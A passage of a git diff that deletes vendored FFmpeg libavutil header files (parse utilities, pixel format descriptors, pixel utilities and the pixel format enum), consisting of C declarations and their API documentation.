02110-1301 USA - */ - -#ifndef AVUTIL_PARSEUTILS_H -#define AVUTIL_PARSEUTILS_H - -#include - -#include "rational.h" - -/** - * @file - * misc parsing utilities - */ - -/** - * Parse str and store the parsed ratio in q. - * - * Note that a ratio with infinite (1/0) or negative value is - * considered valid, so you should check on the returned value if you - * want to exclude those values. - * - * The undefined value can be expressed using the "0:0" string. - * - * @param[in,out] q pointer to the AVRational which will contain the ratio - * @param[in] str the string to parse: it has to be a string in the format - * num:den, a float number or an expression - * @param[in] max the maximum allowed numerator and denominator - * @param[in] log_offset log level offset which is applied to the log - * level of log_ctx - * @param[in] log_ctx parent logging context - * @return >= 0 on success, a negative error code otherwise - */ -int av_parse_ratio(AVRational *q, const char *str, int max, - int log_offset, void *log_ctx); - -#define av_parse_ratio_quiet(rate, str, max) \ - av_parse_ratio(rate, str, max, AV_LOG_MAX_OFFSET, NULL) - -/** - * Parse str and put in width_ptr and height_ptr the detected values. - * - * @param[in,out] width_ptr pointer to the variable which will contain the detected - * width value - * @param[in,out] height_ptr pointer to the variable which will contain the detected - * height value - * @param[in] str the string to parse: it has to be a string in the format - * width x height or a valid video size abbreviation. - * @return >= 0 on success, a negative error code otherwise - */ -int av_parse_video_size(int *width_ptr, int *height_ptr, const char *str); - -/** - * Parse str and store the detected values in *rate. - * - * @param[in,out] rate pointer to the AVRational which will contain the detected - * frame rate - * @param[in] str the string to parse: it has to be a string in the format - * rate_num / rate_den, a float number or a valid video rate abbreviation - * @return >= 0 on success, a negative error code otherwise - */ -int av_parse_video_rate(AVRational *rate, const char *str); - -/** - * Put the RGBA values that correspond to color_string in rgba_color. - * - * @param color_string a string specifying a color. It can be the name of - * a color (case insensitive match) or a [0x|#]RRGGBB[AA] sequence, - * possibly followed by "@" and a string representing the alpha - * component. - * The alpha component may be a string composed by "0x" followed by an - * hexadecimal number or a decimal number between 0.0 and 1.0, which - * represents the opacity value (0x00/0.0 means completely transparent, - * 0xff/1.0 completely opaque). - * If the alpha component is not specified then 0xff is assumed. - * The string "random" will result in a random color. - * @param slen length of the initial part of color_string containing the - * color. It can be set to -1 if color_string is a null terminated string - * containing nothing else than the color. - * @return >= 0 in case of success, a negative value in case of - * failure (for example if color_string cannot be parsed). - */ -int av_parse_color(uint8_t *rgba_color, const char *color_string, int slen, - void *log_ctx); - -/** - * Get the name of a color from the internal table of hard-coded named - * colors. - * - * This function is meant to enumerate the color names recognized by - * av_parse_color(). - * - * @param color_idx index of the requested color, starting from 0 - * @param rgbp if not NULL, will point to a 3-elements array with the color value in RGB - * @return the color name string or NULL if color_idx is not in the array - */ -const char *av_get_known_color_name(int color_idx, const uint8_t **rgb); - -/** - * Parse timestr and return in *time a corresponding number of - * microseconds. - * - * @param timeval puts here the number of microseconds corresponding - * to the string in timestr. If the string represents a duration, it - * is the number of microseconds contained in the time interval. If - * the string is a date, is the number of microseconds since 1st of - * January, 1970 up to the time of the parsed date. If timestr cannot - * be successfully parsed, set *time to INT64_MIN. - - * @param timestr a string representing a date or a duration. - * - If a date the syntax is: - * @code - * [{YYYY-MM-DD|YYYYMMDD}[T|t| ]]{{HH:MM:SS[.m...]]]}|{HHMMSS[.m...]]]}}[Z] - * now - * @endcode - * If the value is "now" it takes the current time. - * Time is local time unless Z is appended, in which case it is - * interpreted as UTC. - * If the year-month-day part is not specified it takes the current - * year-month-day. - * - If a duration the syntax is: - * @code - * [-][HH:]MM:SS[.m...] - * [-]S+[.m...] - * @endcode - * @param duration flag which tells how to interpret timestr, if not - * zero timestr is interpreted as a duration, otherwise as a date - * @return >= 0 in case of success, a negative value corresponding to an - * AVERROR code otherwise - */ -int av_parse_time(int64_t *timeval, const char *timestr, int duration); - -/** - * Attempt to find a specific tag in a URL. - * - * syntax: '?tag1=val1&tag2=val2...'. Little URL decoding is done. - * Return 1 if found. - */ -int av_find_info_tag(char *arg, int arg_size, const char *tag1, const char *info); - -/** - * Simplified version of strptime - * - * Parse the input string p according to the format string fmt and - * store its results in the structure dt. - * This implementation supports only a subset of the formats supported - * by the standard strptime(). - * - * The supported input field descriptors are listed below. - * - %H: the hour as a decimal number, using a 24-hour clock, in the - * range '00' through '23' - * - %J: hours as a decimal number, in the range '0' through INT_MAX - * - %M: the minute as a decimal number, using a 24-hour clock, in the - * range '00' through '59' - * - %S: the second as a decimal number, using a 24-hour clock, in the - * range '00' through '59' - * - %Y: the year as a decimal number, using the Gregorian calendar - * - %m: the month as a decimal number, in the range '1' through '12' - * - %d: the day of the month as a decimal number, in the range '1' - * through '31' - * - %T: alias for '%H:%M:%S' - * - %%: a literal '%' - * - * @return a pointer to the first character not processed in this function - * call. In case the input string contains more characters than - * required by the format string the return value points right after - * the last consumed input character. In case the whole input string - * is consumed the return value points to the null byte at the end of - * the string. On failure NULL is returned. - */ -char *av_small_strptime(const char *p, const char *fmt, struct tm *dt); - -/** - * Convert the decomposed UTC time in tm to a time_t value. - */ -time_t av_timegm(struct tm *tm); - -#endif /* AVUTIL_PARSEUTILS_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/pixdesc.h b/desktop_3230/FFmpeg/include/libavutil/pixdesc.h deleted file mode 100644 index b1d218d..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/pixdesc.h +++ /dev/null @@ -1,394 +0,0 @@ -/* - * pixel format descriptor - * Copyright (c) 2009 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_PIXDESC_H -#define AVUTIL_PIXDESC_H - -#include - -#include "attributes.h" -#include "pixfmt.h" -#include "version.h" - -typedef struct AVComponentDescriptor { - /** - * Which of the 4 planes contains the component. - */ - int plane; - - /** - * Number of elements between 2 horizontally consecutive pixels. - * Elements are bits for bitstream formats, bytes otherwise. - */ - int step; - - /** - * Number of elements before the component of the first pixel. - * Elements are bits for bitstream formats, bytes otherwise. - */ - int offset; - - /** - * Number of least significant bits that must be shifted away - * to get the value. - */ - int shift; - - /** - * Number of bits in the component. - */ - int depth; - -#if FF_API_PLUS1_MINUS1 - /** deprecated, use step instead */ - attribute_deprecated int step_minus1; - - /** deprecated, use depth instead */ - attribute_deprecated int depth_minus1; - - /** deprecated, use offset instead */ - attribute_deprecated int offset_plus1; -#endif -} AVComponentDescriptor; - -/** - * Descriptor that unambiguously describes how the bits of a pixel are - * stored in the up to 4 data planes of an image. It also stores the - * subsampling factors and number of components. - * - * @note This is separate of the colorspace (RGB, YCbCr, YPbPr, JPEG-style YUV - * and all the YUV variants) AVPixFmtDescriptor just stores how values - * are stored not what these values represent. - */ -typedef struct AVPixFmtDescriptor { - const char *name; - uint8_t nb_components; ///< The number of components each pixel has, (1-4) - - /** - * Amount to shift the luma width right to find the chroma width. - * For YV12 this is 1 for example. - * chroma_width = -((-luma_width) >> log2_chroma_w) - * The note above is needed to ensure rounding up. - * This value only refers to the chroma components. - */ - uint8_t log2_chroma_w; ///< chroma_width = -((-luma_width )>>log2_chroma_w) - - /** - * Amount to shift the luma height right to find the chroma height. - * For YV12 this is 1 for example. - * chroma_height= -((-luma_height) >> log2_chroma_h) - * The note above is needed to ensure rounding up. - * This value only refers to the chroma components. - */ - uint8_t log2_chroma_h; - - /** - * Combination of AV_PIX_FMT_FLAG_... flags. - */ - uint64_t flags; - - /** - * Parameters that describe how pixels are packed. - * If the format has 1 or 2 components, then luma is 0. - * If the format has 3 or 4 components: - * if the RGB flag is set then 0 is red, 1 is green and 2 is blue; - * otherwise 0 is luma, 1 is chroma-U and 2 is chroma-V. - * - * If present, the Alpha channel is always the last component. - */ - AVComponentDescriptor comp[4]; - - /** - * Alternative comma-separated names. - */ - const char *alias; -} AVPixFmtDescriptor; - -/** - * Pixel format is big-endian. - */ -#define AV_PIX_FMT_FLAG_BE (1 << 0) -/** - * Pixel format has a palette in data[1], values are indexes in this palette. - */ -#define AV_PIX_FMT_FLAG_PAL (1 << 1) -/** - * All values of a component are bit-wise packed end to end. - */ -#define AV_PIX_FMT_FLAG_BITSTREAM (1 << 2) -/** - * Pixel format is an HW accelerated format. - */ -#define AV_PIX_FMT_FLAG_HWACCEL (1 << 3) -/** - * At least one pixel component is not in the first data plane. - */ -#define AV_PIX_FMT_FLAG_PLANAR (1 << 4) -/** - * The pixel format contains RGB-like data (as opposed to YUV/grayscale). - */ -#define AV_PIX_FMT_FLAG_RGB (1 << 5) - -/** - * The pixel format is "pseudo-paletted". This means that it contains a - * fixed palette in the 2nd plane but the palette is fixed/constant for each - * PIX_FMT. This allows interpreting the data as if it was PAL8, which can - * in some cases be simpler. Or the data can be interpreted purely based on - * the pixel format without using the palette. - * An example of a pseudo-paletted format is AV_PIX_FMT_GRAY8 - */ -#define AV_PIX_FMT_FLAG_PSEUDOPAL (1 << 6) - -/** - * The pixel format has an alpha channel. This is set on all formats that - * support alpha in some way. The exception is AV_PIX_FMT_PAL8, which can - * carry alpha as part of the palette. Details are explained in the - * AVPixelFormat enum, and are also encoded in the corresponding - * AVPixFmtDescriptor. - * - * The alpha is always straight, never pre-multiplied. - * - * If a codec or a filter does not support alpha, it should set all alpha to - * opaque, or use the equivalent pixel formats without alpha component, e.g. - * AV_PIX_FMT_RGB0 (or AV_PIX_FMT_RGB24 etc.) instead of AV_PIX_FMT_RGBA. - */ -#define AV_PIX_FMT_FLAG_ALPHA (1 << 7) - -/** - * Read a line from an image, and write the values of the - * pixel format component c to dst. - * - * @param data the array containing the pointers to the planes of the image - * @param linesize the array containing the linesizes of the image - * @param desc the pixel format descriptor for the image - * @param x the horizontal coordinate of the first pixel to read - * @param y the vertical coordinate of the first pixel to read - * @param w the width of the line to read, that is the number of - * values to write to dst - * @param read_pal_component if not zero and the format is a paletted - * format writes the values corresponding to the palette - * component c in data[1] to dst, rather than the palette indexes in - * data[0]. The behavior is undefined if the format is not paletted. - */ -void av_read_image_line(uint16_t *dst, const uint8_t *data[4], - const int linesize[4], const AVPixFmtDescriptor *desc, - int x, int y, int c, int w, int read_pal_component); - -/** - * Write the values from src to the pixel format component c of an - * image line. - * - * @param src array containing the values to write - * @param data the array containing the pointers to the planes of the - * image to write into. It is supposed to be zeroed. - * @param linesize the array containing the linesizes of the image - * @param desc the pixel format descriptor for the image - * @param x the horizontal coordinate of the first pixel to write - * @param y the vertical coordinate of the first pixel to write - * @param w the width of the line to write, that is the number of - * values to write to the image line - */ -void av_write_image_line(const uint16_t *src, uint8_t *data[4], - const int linesize[4], const AVPixFmtDescriptor *desc, - int x, int y, int c, int w); - -/** - * Return the pixel format corresponding to name. - * - * If there is no pixel format with name name, then looks for a - * pixel format with the name corresponding to the native endian - * format of name. - * For example in a little-endian system, first looks for "gray16", - * then for "gray16le". - * - * Finally if no pixel format has been found, returns AV_PIX_FMT_NONE. - */ -enum AVPixelFormat av_get_pix_fmt(const char *name); - -/** - * Return the short name for a pixel format, NULL in case pix_fmt is - * unknown. - * - * @see av_get_pix_fmt(), av_get_pix_fmt_string() - */ -const char *av_get_pix_fmt_name(enum AVPixelFormat pix_fmt); - -/** - * Print in buf the string corresponding to the pixel format with - * number pix_fmt, or a header if pix_fmt is negative. - * - * @param buf the buffer where to write the string - * @param buf_size the size of buf - * @param pix_fmt the number of the pixel format to print the - * corresponding info string, or a negative value to print the - * corresponding header. - */ -char *av_get_pix_fmt_string(char *buf, int buf_size, - enum AVPixelFormat pix_fmt); - -/** - * Return the number of bits per pixel used by the pixel format - * described by pixdesc. Note that this is not the same as the number - * of bits per sample. - * - * The returned number of bits refers to the number of bits actually - * used for storing the pixel information, that is padding bits are - * not counted. - */ -int av_get_bits_per_pixel(const AVPixFmtDescriptor *pixdesc); - -/** - * Return the number of bits per pixel for the pixel format - * described by pixdesc, including any padding or unused bits. - */ -int av_get_padded_bits_per_pixel(const AVPixFmtDescriptor *pixdesc); - -/** - * @return a pixel format descriptor for provided pixel format or NULL if - * this pixel format is unknown. - */ -const AVPixFmtDescriptor *av_pix_fmt_desc_get(enum AVPixelFormat pix_fmt); - -/** - * Iterate over all pixel format descriptors known to libavutil. - * - * @param prev previous descriptor. NULL to get the first descriptor. - * - * @return next descriptor or NULL after the last descriptor - */ -const AVPixFmtDescriptor *av_pix_fmt_desc_next(const AVPixFmtDescriptor *prev); - -/** - * @return an AVPixelFormat id described by desc, or AV_PIX_FMT_NONE if desc - * is not a valid pointer to a pixel format descriptor. - */ -enum AVPixelFormat av_pix_fmt_desc_get_id(const AVPixFmtDescriptor *desc); - -/** - * Utility function to access log2_chroma_w log2_chroma_h from - * the pixel format AVPixFmtDescriptor. - * - * See av_get_chroma_sub_sample() for a function that asserts a - * valid pixel format instead of returning an error code. - * Its recommended that you use avcodec_get_chroma_sub_sample unless - * you do check the return code! - * - * @param[in] pix_fmt the pixel format - * @param[out] h_shift store log2_chroma_w (horizontal/width shift) - * @param[out] v_shift store log2_chroma_h (vertical/height shift) - * - * @return 0 on success, AVERROR(ENOSYS) on invalid or unknown pixel format - */ -int av_pix_fmt_get_chroma_sub_sample(enum AVPixelFormat pix_fmt, - int *h_shift, int *v_shift); - -/** - * @return number of planes in pix_fmt, a negative AVERROR if pix_fmt is not a - * valid pixel format. - */ -int av_pix_fmt_count_planes(enum AVPixelFormat pix_fmt); - -/** - * Utility function to swap the endianness of a pixel format. - * - * @param[in] pix_fmt the pixel format - * - * @return pixel format with swapped endianness if it exists, - * otherwise AV_PIX_FMT_NONE - */ -enum AVPixelFormat av_pix_fmt_swap_endianness(enum AVPixelFormat pix_fmt); - -#define FF_LOSS_RESOLUTION 0x0001 /**< loss due to resolution change */ -#define FF_LOSS_DEPTH 0x0002 /**< loss due to color depth change */ -#define FF_LOSS_COLORSPACE 0x0004 /**< loss due to color space conversion */ -#define FF_LOSS_ALPHA 0x0008 /**< loss of alpha bits */ -#define FF_LOSS_COLORQUANT 0x0010 /**< loss due to color quantization */ -#define FF_LOSS_CHROMA 0x0020 /**< loss of chroma (e.g. RGB to gray conversion) */ - -/** - * Compute what kind of losses will occur when converting from one specific - * pixel format to another. - * When converting from one pixel format to another, information loss may occur. - * For example, when converting from RGB24 to GRAY, the color information will - * be lost. Similarly, other losses occur when converting from some formats to - * other formats. These losses can involve loss of chroma, but also loss of - * resolution, loss of color depth, loss due to the color space conversion, loss - * of the alpha bits or loss due to color quantization. - * av_get_fix_fmt_loss() informs you about the various types of losses - * which will occur when converting from one pixel format to another. - * - * @param[in] dst_pix_fmt destination pixel format - * @param[in] src_pix_fmt source pixel format - * @param[in] has_alpha Whether the source pixel format alpha channel is used. - * @return Combination of flags informing you what kind of losses will occur - * (maximum loss for an invalid dst_pix_fmt). - */ -int av_get_pix_fmt_loss(enum AVPixelFormat dst_pix_fmt, - enum AVPixelFormat src_pix_fmt, - int has_alpha); - -/** - * Compute what kind of losses will occur when converting from one specific - * pixel format to another. - * When converting from one pixel format to another, information loss may occur. - * For example, when converting from RGB24 to GRAY, the color information will - * be lost. Similarly, other losses occur when converting from some formats to - * other formats. These losses can involve loss of chroma, but also loss of - * resolution, loss of color depth, loss due to the color space conversion, loss - * of the alpha bits or loss due to color quantization. - * av_get_fix_fmt_loss() informs you about the various types of losses - * which will occur when converting from one pixel format to another. - * - * @param[in] dst_pix_fmt destination pixel format - * @param[in] src_pix_fmt source pixel format - * @param[in] has_alpha Whether the source pixel format alpha channel is used. - * @return Combination of flags informing you what kind of losses will occur - * (maximum loss for an invalid dst_pix_fmt). - */ -enum AVPixelFormat av_find_best_pix_fmt_of_2(enum AVPixelFormat dst_pix_fmt1, enum AVPixelFormat dst_pix_fmt2, - enum AVPixelFormat src_pix_fmt, int has_alpha, int *loss_ptr); - -/** - * @return the name for provided color range or NULL if unknown. - */ -const char *av_color_range_name(enum AVColorRange range); - -/** - * @return the name for provided color primaries or NULL if unknown. - */ -const char *av_color_primaries_name(enum AVColorPrimaries primaries); - -/** - * @return the name for provided color transfer or NULL if unknown. - */ -const char *av_color_transfer_name(enum AVColorTransferCharacteristic transfer); - -/** - * @return the name for provided color space or NULL if unknown. - */ -const char *av_color_space_name(enum AVColorSpace space); - -/** - * @return the name for provided chroma location or NULL if unknown. - */ -const char *av_chroma_location_name(enum AVChromaLocation location); - -#endif /* AVUTIL_PIXDESC_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/pixelutils.h b/desktop_3230/FFmpeg/include/libavutil/pixelutils.h deleted file mode 100644 index a8dbc15..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/pixelutils.h +++ /dev/null @@ -1,52 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_PIXELUTILS_H -#define AVUTIL_PIXELUTILS_H - -#include -#include -#include "common.h" - -/** - * Sum of abs(src1[x] - src2[x]) - */ -typedef int (*av_pixelutils_sad_fn)(const uint8_t *src1, ptrdiff_t stride1, - const uint8_t *src2, ptrdiff_t stride2); - -/** - * Get a potentially optimized pointer to a Sum-of-absolute-differences - * function (see the av_pixelutils_sad_fn prototype). - * - * @param w_bits 1< - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_PIXFMT_H -#define AVUTIL_PIXFMT_H - -/** - * @file - * pixel format definitions - * - */ - -#include "libavutil/avconfig.h" -#include "version.h" - -#define AVPALETTE_SIZE 1024 -#define AVPALETTE_COUNT 256 - -/** - * Pixel format. - * - * @note - * AV_PIX_FMT_RGB32 is handled in an endian-specific manner. An RGBA - * color is put together as: - * (A << 24) | (R << 16) | (G << 8) | B - * This is stored as BGRA on little-endian CPU architectures and ARGB on - * big-endian CPUs. - * - * @par - * When the pixel format is palettized RGB32 (AV_PIX_FMT_PAL8), the palettized - * image data is stored in AVFrame.data[0]. The palette is transported in - * AVFrame.data[1], is 1024 bytes long (256 4-byte entries) and is - * formatted the same as in AV_PIX_FMT_RGB32 described above (i.e., it is - * also endian-specific). Note also that the individual RGB32 palette - * components stored in AVFrame.data[1] should be in the range 0..255. - * This is important as many custom PAL8 video codecs that were designed - * to run on the IBM VGA graphics adapter use 6-bit palette components. - * - * @par - * For all the 8bit per pixel formats, an RGB32 palette is in data[1] like - * for pal8. This palette is filled in automatically by the function - * allocating the picture. - */ -enum AVPixelFormat { - AV_PIX_FMT_NONE = -1, - AV_PIX_FMT_YUV420P, ///< planar YUV 4:2:0, 12bpp, (1 Cr & Cb sample per 2x2 Y samples) - AV_PIX_FMT_YUYV422, ///< packed YUV 4:2:2, 16bpp, Y0 Cb Y1 Cr - AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB... - AV_PIX_FMT_BGR24, ///< packed RGB 8:8:8, 24bpp, BGRBGR... - AV_PIX_FMT_YUV422P, ///< planar YUV 4:2:2, 16bpp, (1 Cr & Cb sample per 2x1 Y samples) - AV_PIX_FMT_YUV444P, ///< planar YUV 4:4:4, 24bpp, (1 Cr & Cb sample per 1x1 Y samples) - AV_PIX_FMT_YUV410P, ///< planar YUV 4:1:0, 9bpp, (1 Cr & Cb sample per 4x4 Y samples) - AV_PIX_FMT_YUV411P, ///< planar YUV 4:1:1, 12bpp, (1 Cr & Cb sample per 4x1 Y samples) - AV_PIX_FMT_GRAY8, ///< Y , 8bpp - AV_PIX_FMT_MONOWHITE, ///< Y , 1bpp, 0 is white, 1 is black, in each byte pixels are ordered from the msb to the lsb - AV_PIX_FMT_MONOBLACK, ///< Y , 1bpp, 0 is black, 1 is white, in each byte pixels are ordered from the msb to the lsb - AV_PIX_FMT_PAL8, ///< 8 bit with AV_PIX_FMT_RGB32 palette - AV_PIX_FMT_YUVJ420P, ///< planar YUV 4:2:0, 12bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV420P and setting color_range - AV_PIX_FMT_YUVJ422P, ///< planar YUV 4:2:2, 16bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV422P and setting color_range - AV_PIX_FMT_YUVJ444P, ///< planar YUV 4:4:4, 24bpp, full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV444P and setting color_range -#if FF_API_XVMC - AV_PIX_FMT_XVMC_MPEG2_MC,///< XVideo Motion Acceleration via common packet passing - AV_PIX_FMT_XVMC_MPEG2_IDCT, -#define AV_PIX_FMT_XVMC AV_PIX_FMT_XVMC_MPEG2_IDCT -#endif /* FF_API_XVMC */ - AV_PIX_FMT_UYVY422, ///< packed YUV 4:2:2, 16bpp, Cb Y0 Cr Y1 - AV_PIX_FMT_UYYVYY411, ///< packed YUV 4:1:1, 12bpp, Cb Y0 Y1 Cr Y2 Y3 - AV_PIX_FMT_BGR8, ///< packed RGB 3:3:2, 8bpp, (msb)2B 3G 3R(lsb) - AV_PIX_FMT_BGR4, ///< packed RGB 1:2:1 bitstream, 4bpp, (msb)1B 2G 1R(lsb), a byte contains two pixels, the first pixel in the byte is the one composed by the 4 msb bits - AV_PIX_FMT_BGR4_BYTE, ///< packed RGB 1:2:1, 8bpp, (msb)1B 2G 1R(lsb) - AV_PIX_FMT_RGB8, ///< packed RGB 3:3:2, 8bpp, (msb)2R 3G 3B(lsb) - AV_PIX_FMT_RGB4, ///< packed RGB 1:2:1 bitstream, 4bpp, (msb)1R 2G 1B(lsb), a byte contains two pixels, the first pixel in the byte is the one composed by the 4 msb bits - AV_PIX_FMT_RGB4_BYTE, ///< packed RGB 1:2:1, 8bpp, (msb)1R 2G 1B(lsb) - AV_PIX_FMT_NV12, ///< planar YUV 4:2:0, 12bpp, 1 plane for Y and 1 plane for the UV components, which are interleaved (first byte U and the following byte V) - AV_PIX_FMT_NV21, ///< as above, but U and V bytes are swapped - - AV_PIX_FMT_ARGB, ///< packed ARGB 8:8:8:8, 32bpp, ARGBARGB... - AV_PIX_FMT_RGBA, ///< packed RGBA 8:8:8:8, 32bpp, RGBARGBA... - AV_PIX_FMT_ABGR, ///< packed ABGR 8:8:8:8, 32bpp, ABGRABGR... - AV_PIX_FMT_BGRA, ///< packed BGRA 8:8:8:8, 32bpp, BGRABGRA... - - AV_PIX_FMT_GRAY16BE, ///< Y , 16bpp, big-endian - AV_PIX_FMT_GRAY16LE, ///< Y , 16bpp, little-endian - AV_PIX_FMT_YUV440P, ///< planar YUV 4:4:0 (1 Cr & Cb sample per 1x2 Y samples) - AV_PIX_FMT_YUVJ440P, ///< planar YUV 4:4:0 full scale (JPEG), deprecated in favor of AV_PIX_FMT_YUV440P and setting color_range - AV_PIX_FMT_YUVA420P, ///< planar YUV 4:2:0, 20bpp, (1 Cr & Cb sample per 2x2 Y & A samples) -#if FF_API_VDPAU - AV_PIX_FMT_VDPAU_H264,///< H.264 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers - AV_PIX_FMT_VDPAU_MPEG1,///< MPEG-1 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers - AV_PIX_FMT_VDPAU_MPEG2,///< MPEG-2 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers - AV_PIX_FMT_VDPAU_WMV3,///< WMV3 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers - AV_PIX_FMT_VDPAU_VC1, ///< VC-1 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers -#endif - AV_PIX_FMT_RGB48BE, ///< packed RGB 16:16:16, 48bpp, 16R, 16G, 16B, the 2-byte value for each R/G/B component is stored as big-endian - AV_PIX_FMT_RGB48LE, ///< packed RGB 16:16:16, 48bpp, 16R, 16G, 16B, the 2-byte value for each R/G/B component is stored as little-endian - - AV_PIX_FMT_RGB565BE, ///< packed RGB 5:6:5, 16bpp, (msb) 5R 6G 5B(lsb), big-endian - AV_PIX_FMT_RGB565LE, ///< packed RGB 5:6:5, 16bpp, (msb) 5R 6G 5B(lsb), little-endian - AV_PIX_FMT_RGB555BE, ///< packed RGB 5:5:5, 16bpp, (msb)1X 5R 5G 5B(lsb), big-endian , X=unused/undefined - AV_PIX_FMT_RGB555LE, ///< packed RGB 5:5:5, 16bpp, (msb)1X 5R 5G 5B(lsb), little-endian, X=unused/undefined - - AV_PIX_FMT_BGR565BE, ///< packed BGR 5:6:5, 16bpp, (msb) 5B 6G 5R(lsb), big-endian - AV_PIX_FMT_BGR565LE, ///< packed BGR 5:6:5, 16bpp, (msb) 5B 6G 5R(lsb), little-endian - AV_PIX_FMT_BGR555BE, ///< packed BGR 5:5:5, 16bpp, (msb)1X 5B 5G 5R(lsb), big-endian , X=unused/undefined - AV_PIX_FMT_BGR555LE, ///< packed BGR 5:5:5, 16bpp, (msb)1X 5B 5G 5R(lsb), little-endian, X=unused/undefined - -#if FF_API_VAAPI - /** @name Deprecated pixel formats */ - /**@{*/ - AV_PIX_FMT_VAAPI_MOCO, ///< HW acceleration through VA API at motion compensation entry-point, Picture.data[3] contains a vaapi_render_state struct which contains macroblocks as well as various fields extracted from headers - AV_PIX_FMT_VAAPI_IDCT, ///< HW acceleration through VA API at IDCT entry-point, Picture.data[3] contains a vaapi_render_state struct which contains fields extracted from headers - AV_PIX_FMT_VAAPI_VLD, ///< HW decoding through VA API, Picture.data[3] contains a vaapi_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers - /**@}*/ - AV_PIX_FMT_VAAPI = AV_PIX_FMT_VAAPI_VLD, -#else - /** - * Hardware acceleration through VA-API, data[3] contains a - * VASurfaceID. - */ - AV_PIX_FMT_VAAPI, -#endif - - AV_PIX_FMT_YUV420P16LE, ///< planar YUV 4:2:0, 24bpp, (1 Cr & Cb sample per 2x2 Y samples), little-endian - AV_PIX_FMT_YUV420P16BE, ///< planar YUV 4:2:0, 24bpp, (1 Cr & Cb sample per 2x2 Y samples), big-endian - AV_PIX_FMT_YUV422P16LE, ///< planar YUV 4:2:2, 32bpp, (1 Cr & Cb sample per 2x1 Y samples), little-endian - AV_PIX_FMT_YUV422P16BE, ///< planar YUV 4:2:2, 32bpp, (1 Cr & Cb sample per 2x1 Y samples), big-endian - AV_PIX_FMT_YUV444P16LE, ///< planar YUV 4:4:4, 48bpp, (1 Cr & Cb sample per 1x1 Y samples), little-endian - AV_PIX_FMT_YUV444P16BE, ///< planar YUV 4:4:4, 48bpp, (1 Cr & Cb sample per 1x1 Y samples), big-endian -#if FF_API_VDPAU - AV_PIX_FMT_VDPAU_MPEG4, ///< MPEG4 HW decoding with VDPAU, data[0] contains a vdpau_render_state struct which contains the bitstream of the slices as well as various fields extracted from headers -#endif - AV_PIX_FMT_DXVA2_VLD, ///< HW decoding through DXVA2, Picture.data[3] contains a LPDIRECT3DSURFACE9 pointer - - AV_PIX_FMT_RGB444LE, ///< packed RGB 4:4:4, 16bpp, (msb)4X 4R 4G 4B(lsb), little-endian, X=unused/undefined - AV_PIX_FMT_RGB444BE, ///< packed RGB 4:4:4, 16bpp, (msb)4X 4R 4G 4B(lsb), big-endian, X=unused/undefined - AV_PIX_FMT_BGR444LE, ///< packed BGR 4:4:4, 16bpp, (msb)4X 4B 4G 4R(lsb), little-endian, X=unused/undefined - AV_PIX_FMT_BGR444BE, ///< packed BGR 4:4:4, 16bpp, (msb)4X 4B 4G 4R(lsb), big-endian, X=unused/undefined - AV_PIX_FMT_YA8, ///< 8bit gray, 8bit alpha - - AV_PIX_FMT_Y400A = AV_PIX_FMT_YA8, ///< alias for AV_PIX_FMT_YA8 - AV_PIX_FMT_GRAY8A= AV_PIX_FMT_YA8, ///< alias for AV_PIX_FMT_YA8 - - AV_PIX_FMT_BGR48BE, ///< packed RGB 16:16:16, 48bpp, 16B, 16G, 16R, the 2-byte value for each R/G/B component is stored as big-endian - AV_PIX_FMT_BGR48LE, ///< packed RGB 16:16:16, 48bpp, 16B, 16G, 16R, the 2-byte value for each R/G/B component is stored as little-endian - - /** - * The following 12 formats have the disadvantage of needing 1 format for each bit depth. - * Notice that each 9/10 bits sample is stored in 16 bits with extra padding. - * If you want to support multiple bit depths, then using AV_PIX_FMT_YUV420P16* with the bpp stored separately is better. - */ - AV_PIX_FMT_YUV420P9BE, ///< planar YUV 4:2:0, 13.5bpp, (1 Cr & Cb sample per 2x2 Y samples), big-endian - 